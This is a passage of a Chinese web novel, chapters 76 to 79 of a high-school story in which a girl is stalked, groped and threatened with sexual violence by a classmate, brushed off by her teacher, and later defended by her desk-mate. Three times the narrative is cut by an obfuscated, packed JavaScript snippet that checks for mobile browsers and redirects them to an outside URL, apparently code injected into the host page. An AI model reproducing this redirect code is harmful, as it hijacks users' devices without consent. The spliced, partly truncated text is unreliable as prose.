也不知是谁从哪儿打探出来的,听说他是从津市来的。 那个寸土寸金,普通人一辈子也去不了,更消费不了的地方。 在那里生长的男生或是女生,从出生那一天就是少爷或者公主级别的,出行都是司机接送。 这样的说法落在江砚身上,更加让情窦初开的一些女同学对男生着迷,或者说江砚本身就是一个令人着迷的存在。 气质这种东西是浑然天成的,不是你想装就可以装得像的。 不管是说话还是做事,他看人时习惯用从上而下的角度审视人,听课时整个人姿态懒散的坐在凳子上,往后靠在椅背,右手握着笔搭在桌上,时不时转动一下笔杆。 点到他的名字上讲台写题时,他总是一言不发。 一只手握着粉笔在黑板上书写,另一只手插在裤袋里,姿态非常随意。 解完题后将粉笔轻轻一抛至讲桌上,迈着长腿往下走,脸上没有任何表情,神色不带一点慌张。 要是被物理老师急忙叫住,让他解释这样解题的思路。 他依旧会单手插兜,大拇指和食指捏着粉笔的末端,轻轻点着黑板,简单陈述几句,嗓音清冽,侧脸英俊。 虽然简短,但大家竟然能听懂。 在热烈的掌声中,他没有丝毫喜悦的表现,径直下了讲台,朝自己的座位走去。 按理说,不论是谁站到了讲台上,大家或多或少都会有一点紧张。 会在乎底下的人看自己的目光,会在乎旁边抱着手站着的老师对自己的看法。 因为在意各种感受,所以他们会紧张,会出错,但是江砚一次也没有。 他看上去就像是没有那些情绪的人,整个人非常傲,连最基本的客套都懒得装。 虽然白天在军训,晚自习老师偶尔会讲一些知识点,能留给学生们展示的机会少之又少,大家的底细如何,还尚未可知。 但是寥寥几次,男生帅气的脸孔,独特的气质还是让他在男生堆里成为了可隐形簇拥的榜样,在女生眼里成了私底下花痴的对象。 程韵清的座位就在前门靠墙壁的第一张桌子,靠近走廊。 每一次男生抬腿走进教室,她都是第一个看到对方的人。 穿着校服从她前面径直走过,风会短暂地为他停留。 程韵清闻到了对方身上的味道,不是这个年纪男生身上有时会带有的一点汗臭,也不是用了某种带有香料很浓的沐浴露香味,而是洗衣液在阳光下暴晒后留下的一种很清爽,很自然的味道…… 有些时候,他可能是刚打球回来,校服外套反手搭在肩膀上,碎发微湿,一双眼睛要比平时亮一些。 从教室外面的走廊,径直走向他们所在的教室时,目光直直地落在她的身上,又像是没看她。 因为对方真的可能只是在看路,但程韵清因为那一眼,到底是慌了神。 “韵清。” “韵清——” 好友可能察觉到程韵清出了什么事,迟迟没有来,就离开座位来打饭的窗口找她。 见她一个人端着饭盘傻站着,就叫她:“你怎么了?发什么呆呢。” 程韵清感觉一颗心脏要跳到嗓子眼,她咽了咽唾沫,不动声色地笑着说:“我刚才差点摔倒了,你不知道有多危险。” “啊,没受伤吧?”好友关心。 程韵清:“有人及时拉了我一把,我没事,走吧。” 朋友没有追问帮助她的人是谁,只是带着点抱怨的语气说:“我都等了你十多分钟了,还奇怪呢,你怎么会不来。” “对不起啦,我这不是差点就没命见着你了嘛。” 两人说着话,转身朝朋友占着的座位走去,期间程韵清转过头看了一眼,男生已经打上饭离开了。 76. 暗涌起(校园) 为期一周的军训结束,各课目老师基本上都开始陆陆续续上课。 高中知识和初中知识相比,难度直接断层式上升,再加上对新环境的不适应,很多人都学不进去,或者说是在认认真真努力了,但是脑子里知识一过,感觉就是不理解。 程三好也感觉难,除了生物这一门课,她都不是很感兴趣,但是又为了成绩好,不得不埋头学习。 每天两眼一睁就是学习,两眼一闭脑子里还是学习,除了上厕所和拿着保温杯去后面饮水机接水,她基本上就没离开过座位,偶尔会和前桌的王灿说几句话。 就算是上语文课,老师要求同桌之间互相讨论,这张桌子上的两人像是没有听到,只垂头做着自己事。 “喂,你刚才听到那个男老师打嗝没有?贼好笑哈哈……” 老师正在上课,罗坤却明目张胆地扭头与程三好悄声说话,说话的内容还极其低俗。 女生皱眉,没有理会。 他最近有点过分,总是这样突然转过头来强行和程三好说话,打扰她上课不说,还会影响旁人。 有些时候,课间她去上厕所,察觉到罗坤好像在跟着自己,但是她进了厕所,人家就去了男厕所,好像只是顺路。 她一开始不想多想,但是次数多了,就不是巧合,而是有意而为之。 她心里升腾起严重的不适,又不好直接开口询问人,于是就只能躲着点他走。 没想到人压根没有自知之明,还是我行我素,装出一副和她很熟的样子。 — 跑完操回来,教室内开了风扇,程三好怕自己感冒,就把外套穿了起来。 将手埋在臂弯里,闭着眼睛,睫毛微微颤抖。 再这样持续下去的话,她要崩溃了…… 这时上课铃打响,她坐正身体,抬起头看到了罗坤。 对上她视线,他轻浮地挑了挑眉。 程三好眉头皱得能夹死一只蚊子,胸口发堵。 她无声地深吸一口气,鼓足勇气对坐下来的罗坤说:“下课你不要走,我有话对你说。” 罗宽露出个意味深长的笑,目光在女生的脸上打量,然后才道:“好啊。” 一节四十五分钟的课,程三好却觉得无比漫长,想到接下来要与对方单独说话,她心里发怵。 她不是那种怕事的人,但她不能惹事儿。 因为她知道,现在她还是学生,如果与其他学生起了争执,到时候叫家长,程伟国他们是一定不会管她的,相反还会让在老家的外婆担心,这才是她唯一的忧虑所在。 所以她必须乖一点,尽量和同学们搞好关系,不和他们发生争执。但是罗坤的行为已经严重影响到了她正常生活学习。 就在刚才大课间,跑操结束后,人群乌泱泱地往出口位置跑,一个挤一个,像是十分火急。 程三好已经放慢了脚步,但被迫只能挤着向前,然后就在即将出那个大门时,腰上突然被人摸了一把。 她瞬间起了鸡皮疙瘩,转过头想看是谁摸的,但是所有人的面色都很正常,除了离她一步之远的罗坤,对方释放出一个笑。 这个笑让程三好心中怒火中烧,她想当场骂脏话,结果话到嘴边又咽了回去,因为她不敢,因为她知道冲动后会是什么结果。 他这种死皮赖脸的人,极大可能是那种情绪不稳定,随时可能沦为亡命徒的这样一种人。 她被不好的东西缠上了…… 恐惧从她的脚底一路蔓延至心脏,她隐隐有些喘不过气来,还有点精神恍惚。 她在害怕,但她不是软柿子,她决定和对方好好交流。 “叮铃铃——下课时间到了,老师同学你们辛苦了……” 程三好手心都是汗,她咽了一下口水,向后退,站起身,又将凳子塞回了课桌下,然后绕过同桌走到罗坤的桌子前,跟他说:“走吧,我们出去说。” 周围人都看向他们这里,神色各异,大多都是八卦吃瓜的表情。 程三好脑子顿时产生想逃跑的念头,但她捏紧手,稳稳地站住了。 身体挺得板直,颇有一点慷慨赴死的意味,实际上她只是在紧张罢了。 罗坤是坐着的姿势,他微微仰头,目光落在女生的脸上:“去哪儿?” “外面走廊。” 程三好语气平静,但是下一秒她就冷静不了一点,因为罗坤突然没有了笑容,无所谓地说:“就在这里说吧。” 程三好手握成了一个拳头,愤怒让她声音有些发颤:“……我怕在这跟你说,丢了你的自尊。” “丢我自尊?” 罗坤讽刺地勾着嘴角:“这样的事你做的还少吗?我他妈这个月次次与你说话,结果你就当我是空气一样,理都不理一下,我很伤心难过的好吧!” 程三好沉默片刻,缓缓松开拳头,说:“……是我的错,我在这里向你道歉。” 罗坤吊儿郎当地坐着,没吭声。 有个男生看不过去,开口说:“罗坤差不多行了吧,人家是女孩子,咱们作为男生的大度一点,一直让人家这样站着,你也好意思。” 罗坤笑起来:“说的对,我一大老爷们儿还能真的跟个女生较劲不成。” 说着他站起身,冲程三好抬起下颌:“走吧。” 两人一前一后从教室后面走出来,经过讲台,要开门时,男生先一步上前打开了。 这个行为让教室来起了不小的轰动,罗坤喜欢程三好这一件事,明目张胆到所有人都看出来了,不过好像女生不喜欢他。 程三好快步出了教室,罗坤无奈地摇头,然后将铁门一关紧跟了上去。 一直走到两栋教学楼之间的天桥下,程三好才停住脚步,转过身,直接对罗坤就说道:“我不知道自己哪里有招惹到你,但是请以后你不要再与我说话了。” “就像你刚才所说,我不搭理你,这让你伤了自尊,那以后你也不搭理我,咱们彼此都相安无事不好吗?” 罗坤没有听到期待的话语,反倒是划清界限的话。 他也索性不装了,整个人脸色黑着:“你以为你是谁?自己长了几分姿色就真把自己当仙女了是吧?” 他上前一步,恶狠狠地看着人:“我告诉你,除非你与我交往,要不然我会缠着你一辈子,就算得不到,我也要毁了你……” 他悉数将自己的丑陋全部暴露出来,压根不在乎程三好如何看待他,甚至还数落起了女生的不对。 “我真的不知道我对你到底是做错了什么,你才会对我态度如此冷淡,明明军训期间只要我与你搭话,你都会回应我,还笑得特别漂亮,特别好看。” “结果军训一结束,你就跟变了一个人似,无论同你说话还是问你问题,你都当我是空气。” “叮铃铃——上课时间到了,同学们……” 上课铃声突然在校园里响起,程三好不打算听他再说,抬脚就要朝教室走,谁料罗坤一把抓住人,想把她带到旁边的草丛里。 程三好慌忙甩脱了手,离他远远的。 语气警告:“你有话好好说,可以不要动手吗?这周围都是监控,如果你不想被全校通报批评的话,最好不要对我动手动脚。” 罗坤将手无辜地摊开,他人其实长得不丑,就是瘦,颧骨还突出,有一种不协调的别扭感。 他嘲弄地笑起来:“我又没有对你做什么,学校也不能拿我如何,还有——” 他指着人:“不是要把我当空气吗?你以后也把我当空气好了,现在来管我说不要与你说话,ok,敢情我是一个你的奴隶是吧,什么都要听你的吗?凭什么!” “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430513|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程三好哑口无言。 她第一次接触到这样蛮不讲理,道德缺失的人,她几度沉默,因为是真的被这样的人冲击到了三观。 她被气得想笑,也不知为何,这样的人真的太可悲了,他的家庭是多么不幸,才会成长为如此扭曲的性格。 胡乱想着,程三好抬眼看着罗坤,一字一句道:“先不说你在我上课时故意扭头说话,打扰我,还有我每每去厕所的路上,你都会跟着。” “除了这些,你别以为我不知道,无论是跑操还是上体育课,只要是学生自由活动时,你都会用恶心下作的目光打量我,综合以上行为,你已经完全符合x骚扰的条件。” “我今天是来给你提醒的,并不是和你商量。”女生说话的语气越发坚定,站如松,不屈不挠。 其实她心里是慌的,但她不能表露出来。 本来以为她这一番话会对罗坤起到威慑的作用,谁料人听完,只是呵呵一笑,甚至无所谓地说:“那你去告老师啊,你去跟班主任说,看她信不信。” 他靠近人,宛若恶魔低语:“凡事都要讲究证据的,妹妹。” 扑通扑通—— 罗坤的脸色蜡黄蜡黄的,还长了几颗青春痘,一看就是天天晚上熬大夜。 心境的变化,程三好看着这个人,都觉得眼睛受到了污染。 她脸色平静:“我希望你之后能有所收敛,至于你所说的证据,你别忘了……大课间的时候,是谁摸了一把我的腰,那里全是监控,只要我查,你觉得你还能狡辩得了吗?” 话音刚落,男生不以为意地笑出声,第三道上课铃声响完已经过了三分钟,程三好不宜再与他纠缠,打算离开,但是对方的下一句话却将她钉在了原地。 “摸你背的人,压根不是我哈哈。” 罗坤像是再也忍不住地爆笑出声,拍着自己的腹部,边笑边说:“监控你尽管调。” 他那副完全不在怕的样子,让程三好产生动摇。 她像是对对方说又像是对自己说:“一定是你,我不会认错。” 看着她强装镇定,罗坤笑得更为得意了:“行吧,反正你怎么想对于我来说并不重要,重要的是……你躲不掉的,谁让我这么喜欢你呢。” 扑通扑通—— 女生只有十五岁,小的时候呆在外婆身边,其实被保护得很好,没遇着什么腌臜。 后来就算被程伟国他们接到了城里,初中三年最多也只是因为父母的偏心偶尔委屈罢了,而像今天这样的,让人从心底里产生恐惧,无助的场面,几乎前所未有。 她眼眶渐渐红了起来,声音哽咽:“你想要钱还是什么,我都给你……但是可不可以求你不要再纠缠我了……” 罗坤感受着直冲天灵盖的爽感,他发现这种女生向他求饶的感觉,真的非常刺激,他从来没有像现在这般兴奋过,简直让人上瘾。 同时灵魂深处闪现一个疯狂的想法,他要成为女生一生的阴影,他要蹂、躏这朵玫瑰花,让她在他的眼前流下甘甜的露珠。 大脑亢奋得停不下来,罗坤眼神露骨地落在女生身上,像是在念死亡宣告书:“我不要什么赔偿,我就是单纯的想要你,与你纠缠,我非常乐意。” 说着他拍了一把女生的肩膀,手没落下,就着这个位置轻浮地捏了一把。 “我很期待接下来的三年,我们会发生什么有趣的事。” 说完这句话,他笑着,从程三好面前经过,径直走了。 扑通扑通—— 现在是上课期间,校园外面一个人影也看不到,安静得渗人。 程三好走到花坛与建筑的夹缝里,蹲在角落,终于忍不住抱头哭起来。 这个时候,要是有谁可以帮她一把就好了。 思绪混乱中,她胡乱想着,寄希望于虚无的幻想。 77. 少年底色(校园) 这一个多月以来郁积的所有不安,都在此刻用哭泣的方式得到了释放,是那样的撕心裂肺。 可她也只能咬紧牙关,不让一点声音泄出来,无声地在自己双手搭建的臂弯下,微微张着嘴。 胸腔内挤压,一阵发紧,酸楚灼烧的滋味遍布全身,哭得脑袋发懵,呼吸不顺。 渐渐地,激烈的,不可遏制的悲伤淡化,褪去,她胡乱地伸手擦着眼睛,将泪水从脸上抹去,抬起目光,看向了前方。 她所在的位置是高一教学楼背面,而这一面前方有一片偌大的广场,人工蓄积的水池里面,一只胖乎乎的海豚石像立在水上,口中源源不断地喷洒着水柱。 而越过广场,就是高三学子们的教学楼,那栋硕大的教学楼旁边就是教务处。 程三好盯着虚空看了几秒,转瞬收回视线,重新戴上口罩,扶正眼镜,站起了身,拍了拍屁股上的灰,按原路返回。 经过老师们平时所在的办公室时,她停下脚步,并伸手扣响了深蓝色的门。 里面的蒋华正在批改作业,她头也不抬地说:“进。” 程三好抬腿走了进去,站到老师的办公桌前,想到接下来要说的话,她的中指习惯抠着大拇指,吞咽了一下口水才说:“老师,罗坤x.骚扰我……” 说到后面某个字眼时,中指指甲一下陷进了大拇指皮肉,冷不丁的疼痛感穿进脊梁,激得她本能地咬了一下口腔内壁的软肉。 蒋华握住红色水性笔的手在试卷上移动,脸上的表情没有丝毫的变化,也没有看旁边的女生一眼,继续打勾或者画x,语气平淡:“怎么个x.骚扰法?” 程三好刚才还在为老师冷漠的深情刺痛了心,然而对方下一句话一出,她不知道为什么难堪中又夹杂着一点小小的委屈,将过去罗坤对她所做的事情,事无巨细地讲给了班主任听。 她的嗓音不沙,也不柔,像是山下石头缝里冒出了一股清泉,透透的,清清静静的,哪怕在说着一件很糟糕的事,但是语气依旧很平和,会不自觉地让人专注她所说的话。 蒋华批改作业的速度果然下降,最后直接放下了笔,看向自己的学生,听她说完,直接问:“你有实际的证据吗?” 程三好几不可见地皱了一下眉,又快速松开,说:“可以调监控,真的,我没有说谎,我每一次去女厕所他都跟着出教室,一路到我们楼道尽头的女厕所旁边,我进去后,他则进去旁边的男厕所,这样的次数非常多。而且田径场我说他摸我腰那,就是也可以调监控,这些都是证据……” 蒋华讲神情很严肃,但是这种严肃中总带有一种刻薄。 她扫了女生一眼,漠然道:“谁查?” 不等程三好说话,面前的老师脸色臭着,已经生气了:“你?还是我?还是保卫科的人?” “一天天的净给我找事,我听到你说x/骚扰还愣了一下,以为是什么大事,结果就这?连影子都没有的事情就拿来烦我,我工作已经很辛苦了,还要管你们这些小打小闹的事情,我又不是活菩萨,可以无偿地帮你,我真的烦死了!你们能不能给我省点心!” 越是说到后面,她的口吻越是像在抱怨别人在给她添堵,语气越发的不好,甚至上升到了人身攻击,简直就是把程三好骂了一通。 办公室里突然走进来另一个班的班主任,蒋华烦躁地叹了口气,可能意识到自己说过了,接下来的话有一些找补的意思。 “你说的这件事老师我知道了,但是监控不是你想调就来调的,明白吗?还有待会儿我会让罗坤来见我,我训训他,让他以后离你远点,这样总可以吧?” 扑通扑通—— 心脏带着胸腔搏动,程三好已经感受不到掐手指的疼痛了,她整个耳膜里都是左胸腔下方的一颗心脏发出的声音。 它时而跳得很快,时而却又像停止跳动一般,出现短暂的滞留。 脑海中,白色的世界从天而降下着五颜六色的颜料雨,她坚守保护的白纸被突然从四面八方涌入而来的面孔,穿着鞋跑到了上面不断地践踏,变成一张脏兮兮的纸。 白色的世界不复存在,肉眼可见之处,混乱不堪,杂乱无章。 她无力地看着这一切,窒息感化作无形的无常,似乎要索取她的性命。 “还傻站着干什么,赶紧回教室啊,现在还是上课期间。” 这种充斥着私人情绪的冷漠话语让程三好渐渐反应过来,她眼神空着,机械地鞠了一躬,转过身抬脚离开了办公室。 脚下的地面铺着黄底白花的瓷砖,坚硬干净。 程三好走在上面却步履艰难,沉重难行,于她而言就是一摊陷泥,走一步陷一步,重如千斤,又脏又冷。 她能明显地感觉到,好像她现在全凭一根筋在撑着,对世界的所有感知一瞬间全部消失了,整个身体像是被谁揍了一通,浑身上下又痛又累。 偏偏好不容易走到自己的班级门口,已经迟到了将近半节课的她被化学老师勒令不许进入,就站在外面,罚她站剩下的半节课。 程三好调转脚步,没有进去,只能服从地走到外面的墙壁前站着。 里面的化学老师声音洪亮,说了一句话:“要是像她一样偷奸耍滑的,不配在我课上坐着。” 接着又说:“高中不比初中,你课上不认真听,一眨眼的功夫许多知识就错过了,所以给我认真点。” “偷奸耍滑……”程三好无力地念着这几个字,声音细微。 抬起眼帘,黑瞳黯淡无光。 无论是小学还是初中,她的成绩一直都很好,次次年级第一。 以前的老师们,尤其是班主任都是将她看作得意门生的那种,私底下学生们也总是惊叹说:“你好厉害啊,请假了一个多月,落下了这么多课,没想到一回来期中考,你数学搞了一个满分,还是全校第一,让不让我们活了……” 老师也总是会在讲台上,由衷夸赞:“你们都要向人家程三好学习哈,这都生病住院了,还不忘刻苦学习。我前次去探望人家,打着点滴呢,另一只手还写着试卷,不管最终结果如何,这样的态度我觉得这是值得表扬的。” 随着这一番夸赞落下,就是满堂又响又亮的掌声。 程三好是个骄傲的人,最起码在学习上。 虽然平时她的语气总是很谦虚,为人也非常低调,很乐意给别人讲题,但这一副谦逊的面孔下,几乎没被批评过的十几年,让她也将自己无形中捧上了高台。 直到此刻,别人的一句话,点破美梦,她才惊觉。 她竟是有一些清高的人,自诩高尚,可一句平淡无奇的批评,她听了,心里难受的感觉久久没有散去。 几乎都要怀疑自己是玻璃心,亦或者因为这段时间卡bug一样的桩桩事件挤压在一起,她在某个瞬间产生了消极的想法。 于她而言,未来只有绝望,没有希望,活着的意义是什么…… — 化学课结束,老师拿着教材从前门阔步走了。 程三好拖着酸痛的脚从教室后门进去,立马感觉到好几道探究的目光,这些打量中的视线不乏有看好戏的。 学生时代就这样,他们也许没有恶意,但是有些人就是挺乐意看别人被老师数落的样子。 如果是以往,程三好肯定会下意识神经紧张,但是现在,可能是因为处在一个极其低沉的情绪里,她神情平静,径直走到自己的座位上坐下。 罗坤已经被叫走了,不在座位上,旁边的同桌一如既往视她为空气,低头在写着物理试卷。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他放慢语速,表情轻浮中带着恶狠狠的意味:“我会把你压在草坪上,然后艹、死你——” “砰——” 程三好枕着的书桌突然向前撞到了罗坤,手中握着的自动铅笔笔芯在纸面上戳出一个圆孔,炭黑笔芯断裂,擦出的黑灰滚动。 罗坤被这突如其来的力道撞击着,后退了几步,他稳住脚,神情看上去很懵逼,抬眼看向始作俑者:“不是,兄弟你什么意思?” 他问江砚,脸色虽然臭着,但是语气没那么嚣张,反倒有所收敛,显然是不想和江砚起冲突。 罗坤虽然自己心里谁也瞧不上,但是哪些人是不该惹的,他心里也有个数,所以当下他的态度还算平和。 江砚抱着手,整个人姿态懒散地靠在椅背,一只脚还搭在书桌下面的横杠上。 他笑了一下,痞痞的:“没什么意思。” 嗓音清冽裹挟着慵懒,是一种极其无所谓的语气。 罗坤嘴角僵了一下,伸手指了指前面的桌子:“那这是脚滑是吧?” 他本意是想息事宁人,给对方一个台阶下,谁料男生摇了一下头,说:“不是。” 罗坤的耐心已经告罄,这一点时间没有让他冷静下来,反倒因为对方哪怕坐着,气势上却依然碾压着他而生出不甘。 理智的风筝断线前,他听见自己问:“那你找茬?” 男生抬起又凉又薄的眼皮看了他一眼,似乎是笑了一下,神情冷傲中带着点蔑然:“就是单纯看你不顺眼。” “……”罗坤原地愣了一秒。 反应过来后,他指着人,恼羞成怒:“喂!别踏马给脸不要脸,你以为你谁啊,真当自己是少爷了啊,我艹你——” “啪——” 一本书迎面砸中罗坤的脸,硬生生阻断了他的声音。 江砚眼底闪过一抹震惊,第一次看向了自己的这个同桌。 只见她双手握拳,像只为自己壮胆的企鹅一样微微倾身站着,说出了一句让在场的人都微微讶异的一句话。 “搞清楚,你生气的对象是我……” 78. 触海面(校园) 罗坤大脑空白一秒,周围的人微微张大嘴巴,显然都是没有想到一向看上去很乖巧温顺的女生,会有如此A的一面。 直到脸上的皮肤源源不断地传来刺痛感,罗坤摸着自己的脸,像是十分不可置信:“不是,不是,你……你现在是为了他在对我动手吗?” 他瞪大眼睛,语气像暴风雨来临前的平静:“程韵清,我给你脸了是吧?” 说着他脸色一沉,双手将紧紧挨着自己的书桌往前狠狠地一推。 江砚伸手撑在桌沿,虎口卡在桌肚上方,稳稳当当地抵住了桌子,让他停留在了原本的位置。 罗坤看着这二人你来我往的动作,似乎将矛头都对准了他。 他从未发现江砚对这个女生感兴趣,不然就凭过去一个月里他上课转过头同程韵清说话的次数,就早已不知道起了多少冲突。 但是现在他已经没有余力去思考其中的缘由了,嫉妒心烧毁了他残存的理智,甚至一度让他恶向胆边生,想与不想就抓起自己的凳子举起来,要与他们二人打架。 教室内鸦雀无声。 突然不知是谁说了一句:“班主任来了!” 周边的几个人扭头看了门口一眼,果然见蒋华拿着一沓试卷正在往教室内走来。 怕事情闹大,到时候不好收场。 罗坤的一个朋友及时拉住了他的胳膊,劝道:“有什么事放学再说,数学老师来了。” 罗坤甩开朋友,放下凳子,却没有转过身,依旧瞅着人。 胸膛微微起伏,显然被气得不行。 蒋华走上讲台,将试卷放到讲桌上,抬起目光时看见教室后方的情况,她眉头一下皱紧了,呵斥道:“干什么?上课了不知道吗?” 罗坤死死地握紧拳头,一双眼睛几乎都要被瞪出来似的。 他咬了一下牙,转过身直接举手,恶人先告状:“老师,有人霸凌我。” 看清学生的面孔,蒋华语气不好:“是你,罗坤,刚才课间我与你怎么说的?敢情现在你全部忘了是吧!” 罗坤正在气头上,想也不想就回怼道:“没有,不敢。” “啪——” 蒋华拍在桌子上,底下的人个个缩着肩膀,低下头,生怕殃及池鱼。 “好,你不敢,我看你敢得很……既然你说有人霸凌你,那是谁?” 罗坤也被那声响弄得身躯一颤,但是如今箭已离弦,再后悔也来不及了,他说:“江砚,用桌子撞我,程韵清用书砸我。简直就是平白无故,毫无理由。” 蒋华嘲讽地勾起一边嘴角,似乎翻了一个白眼,然后才说:“江砚。” 男生右脚勾着椅子横杠,往后退了一步,懒懒地站起身。 蒋华眉头依旧皱着,语气却比刚才缓和多了:“你说说,为什么踹桌子?” 江砚身长玉立地站在阳光下,身姿拓跋,是独属于少年人的恣意。 他双手插着裤兜,拖着一口懒洋洋的腔调,不浑在乎地说道:“他打扰到我学习了。” 蒋华并没有因为他敷衍的态度而生气,相反目光里难得带着点欣赏:“行,坐下吧。” 罗坤快速地眨着眼睛,实在是难以相信这件事情就这么过了,这简直就是明晃晃的偏袒。 然而没等他抗议出声,前面的班主任对着他劈头盖脸地就骂了下来。 “罗坤,你是有多大的脸,自己成绩烂成那样,还好意思扭头去打扰人家。正好这次的月考成绩也出炉了,咱们好好比对一下你们的差距在哪里。” “全年级两千八百名学生,年级第一在咱们班……”他说到这儿的时候停顿下来,目光扫视底下的学生问道,“你们知道是谁吗?” 没有人敢说话,蒋华也压根没期待他们说话,自顾自的说道:“江砚,除了语文试卷上作文被扣了几分,其他科目皆是满分,也就是说在我们现在还未分科前,总共的十门科目考试中,满分一千零五十分,他考了一千零四十七分。” 此话一出,教室内再也安静不了一点,都是此起彼伏的惊叹声。 蒋华显然很满意,她口吻骄傲:“这是一个什么概念呢?我们可以说算得上是实验班,平行的有十个班级,而在我们之上的那些清北班,就是专门奔着名校去培养的班级当中,没有谁有他这个成绩。而我们下面的普通班更是沾都不沾边,别说比较了。” 说着说着,蒋华眉梢都带上了喜色,难得露出了笑容:“在我过往带过的所有学生当中,第一次月考就拿出这个成绩的,只此一人啊。所以不得不说,是真的给我长脸,也希望江砚你接下来再接再厉不忘初心,而同学们都要向对方靠齐,努力学习。” 她咳了一下,清清嗓子,又变成那副严肃的样子,低头看了一眼手中的排名名单,看到罗坤的名字在最后一栏时,目光顺着扫过去看见的是他的全校排名,好心情顿时烟消云散,直接公开处刑。 “而罗坤,打扰别人学习不说,还说别人霸凌他的学生,你们知道他这次月考排在多少名吗?” 蒋华眉眼间尽是嘲弄,语气轻蔑:“第二千七百八十名……” 她气笑了:“连普通班的同学都考不过,而且我从业多年,也从未教过如此差的学生,所以——” 蒋华看下那个教室里唯一站着的男生,问他:“你是有多大的脸啊?怎么好意思说出这样的话,还是说,你是一头死猪,不怕开水烫啊,毕竟我与你说了多少次了,你还是屡教不改。” 教室内没有人敢笑,都装出一副认真聆听不敢忤逆的样子。 罗坤性格再怎么恶劣,也是人,也有羞耻心。 他被老师一番羞辱,脸色胀红,紫得跟个茄子一样,偏偏还握着拳头,内心愤愤不平,这就让他看起来很滑稽。 蒋华双手抱臂,冷冷地站在讲台上,俯视着人,问他:“你是不是不服气?” 罗坤说不出话来,但他的表情的确如此。 “不服气也给我憋着,”蒋华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13488727|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多看一眼都觉得心里烦,他移开目光,对着自己的五十多名学生说道,“你们也是,我不管你们怎么想我,那都不重要,所有的不甘所有的憋屈最好都给我使对地方。我说了,在我这里成绩才是王道,你有了好的成绩,才有了资格和我谈条件。” 上课铃声已经响了十分钟了,程三好握着笔在试卷上也发呆了近十分钟。 可能之前已经私底下接触过蒋华是一个什么样的人了,她倒是听着她这一番话没什么感觉,就是心思不专注,迟迟静不下心。 余光里罗坤已经瘫坐在凳子上,她也后知后觉地意识到,原来自己在后怕。 是的,刚才那句话,包括说话之前用书砸别人的这些行为,是她的性格做不出来的事,但她还是那样做了。 这会儿手心都是汗,她无声地呼出一口气,雾气立马缠绕上眼镜下方,视线模糊一瞬。 她索性将眼镜摘了下来,搓了搓自己的脸,强行让自己冷静下来,甚至在内心安慰自己:不要懦弱过头了,勇敢点,你做的没错。 扑通扑通—— 心脏还是跳得很快,前面讲台上的蒋华已经开始打开课本上课。 程三好将眼镜重新戴上,拿过旁边窗子上的橙子,放到自己的鼻子前,对着它吸了吸。 清新酸甜的气味,让人神经有了短暂的放松。 她握着橙子就像握着救命稻草,让自己可以喘息一刻。 而她这一连绵不断的小动作,都被她的同桌看在了眼里。 江砚眼皮生得薄,好似天生一个寡淡冷清人。 虽然生着一双桃花眼,但他眉生得凌厉。 一笑不会给人一种温柔的感觉,反而透着一股漫不经心的痞。 他的这种痞气不野,就是冷,就是坏。 张扬又恣意,嚣张没态度。 那时网络兴起,玩梗之人不在少数。所以一定要用一句话来形容江砚的话,那就是“看谁都像狗”。 那眼神总是冷冷的,不近人情的。 就是现在他微微偏头,窗外的阳光照进他的眼眸,那里面也依然冷霜一片,像是没有温度。 数学课是上午的最后一堂课,下课铃声一响,教室内就跑光了人。 大家都急匆匆往食堂赶,活像一群丧尸。 而程三好也在收拾书包,在以前的学校,她总是习惯会在最后一个离开教室,因为与其去排队,还不如用那十几分钟来完成作业。 但是自从来到一中以后,有了罗坤的骚扰,她从不敢掉以轻心,自己独自一个人下课,放学,都是尽量在人群多的时候一起走。 这样神经紧绷的生活,她度过了一个多月,想到接下来的几个月或者更长的两三年,她都要与罗坤在同一所学校读书,程三好顿时没了胃口,也没去食堂。 她径直走到宿舍,在超市里买了一个抹茶口味的夹心吐司,随便将就着吃了几口,找到一个姓苏的宿管阿姨,准备问她要自己的手机。 79. 成长阵痛(校园) “只是打电话?” “对,就是打电话给我父母,我有点事需要跟他们说。” 她站在值班室门口,没有进去。 一中很严,不允许带智能手机进入校园,如果不小心带了进来,需要上交给班主任或者宿舍管理人员。 这样的话,在这一学期结束的时候,再找相关人员可以拿回手机带回家。 程三号好来的第一天晚上,就交给了这个姓苏的阿姨,第二天晚上,宿舍管理人员就人手拿着一个袋子还有一个类似于那种金属报警器的玩意儿,开始从一楼一直到五楼地毯式搜索,搜刮了好多手机。 这些手机要一直为他们保管到高三,他们才能得到,得亏程三好老实,要不然现在他也没机会可以要自己的手机打电话。 苏阿姨人胖,笑起来很和蔼,不像其他宿舍管理人员一样完全不讲道理。 能够进入到这里工作的,都是家里在学校有关系的,所以个个都有些狗仗人势。 你认真与她说,她能给你掰扯个没完,偏偏没一句在重点的,十分地不通情达理。 想到此处,程三好对这所学校的印象又差了一些。 想当初,初中三年一直梦寐以求的学校就是一中,如今才过了没多久,现实就给她上了一课。 你以为的未来是一片光明璀璨,实际上是一条重塑三观的荆棘路。 得到手机后,她也没有回宿舍,就握着手机,走到空旷一点没有人的地方,打给了黎萍。 “喂,妈。” 电话那头安静一瞬,才响起一个妇人的声音:“嗯,有事?” 程三好自拨通电话开始,已经不知道咽了多少次口水,她下意识地抠着手,目光落在地面,却迟迟开不了口。 那头的黎萍可能是不耐烦了,催促:“有事快说,你这性格能不能改改。” 